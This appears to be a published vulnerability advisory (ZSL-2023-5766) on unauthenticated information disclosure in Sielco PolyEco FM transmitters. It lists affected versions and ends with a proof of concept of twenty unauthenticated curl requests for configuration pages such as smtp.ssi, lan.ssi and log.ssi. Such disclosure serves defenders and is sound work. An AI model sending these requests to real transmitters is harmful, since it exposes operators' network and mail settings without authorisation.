Sielco PolyEco Digital FM Transmitter 2.0.6 Unauthenticated Information Disclosure  
Vendor: Sielco S.r.l  
Product web page:  
Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19  
PolyEco1000 CPU:1.9.4 FPGA:10.19  
PolyEco1000 CPU:1.9.3 FPGA:10.19  
PolyEco500 CPU:1.7.0 FPGA:10.16  
PolyEco300 CPU:2.0.2 FPGA:10.19  
PolyEco300 CPU:2.0.0 FPGA:10.19  
Summary: PolyEco is the innovative family of high-end digital  
FM transmitters of Sielco. They are especially suited as high  
performance power system exciters or compact low-mid power  
transmitters. The same cabinet may in fact be fitted with 50,  
100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500,  
All features can be controlled via the large touch-screen display  
4.3" or remotely. Many advanced features are inside by default  
in the basic version such as: stereo and RDS encoder, audio  
change-over, remote-control via LAN and SNMP, "FFT" spectral  
analysis of the audio sources, SFN synchronization and much more.  
Desc: Sielco PolyEco is affected by an information disclosure  
vulnerability due to improper access control enforcement. An  
unauthenticated remote attacker can exploit this, via a specially  
crafted request to gain access to sensitive information.  
Tested on: lwIP/2.1.1 (  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Macedonian Information Security Research and Development Laboratory  
Zero Science Lab - - @zeroscience  
Advisory ID: ZSL-2023-5766  
Advisory URL:  
$ curl -s http://RADIOFM/factory.ssi  
$ curl -s http://RADIOFM/rds.ssi  
$ curl -s http://RADIOFM/ip.ssi  
$ curl -s http://RADIOFM/alarm.ssi  
$ curl -s http://RADIOFM/i2s.ssi  
$ curl -s http://RADIOFM/time.ssi  
$ curl -s http://RADIOFM/fft.ssi  
$ curl -s http://RADIOFM/info.ssi  
$ curl -s http://RADIOFM/status.ssi  
$ curl -s http://RADIOFM/statusx.ssi  
$ curl -s http://RADIOFM/audio.ssi  
$ curl -s http://RADIOFM/smtp.ssi  
$ curl -s http://RADIOFM/rf.ssi  
$ curl -s http://RADIOFM/rfa.ssi  
$ curl -s http://RADIOFM/ping.ssi  
$ curl -s http://RADIOFM/lan.ssi  
$ curl -s http://RADIOFM/kappa.ssi  
$ curl -s http://RADIOFM/dbrt.ssi  
$ curl -s http://RADIOFM/audiom.ssi  
$ curl -s http://RADIOFM/log.ssi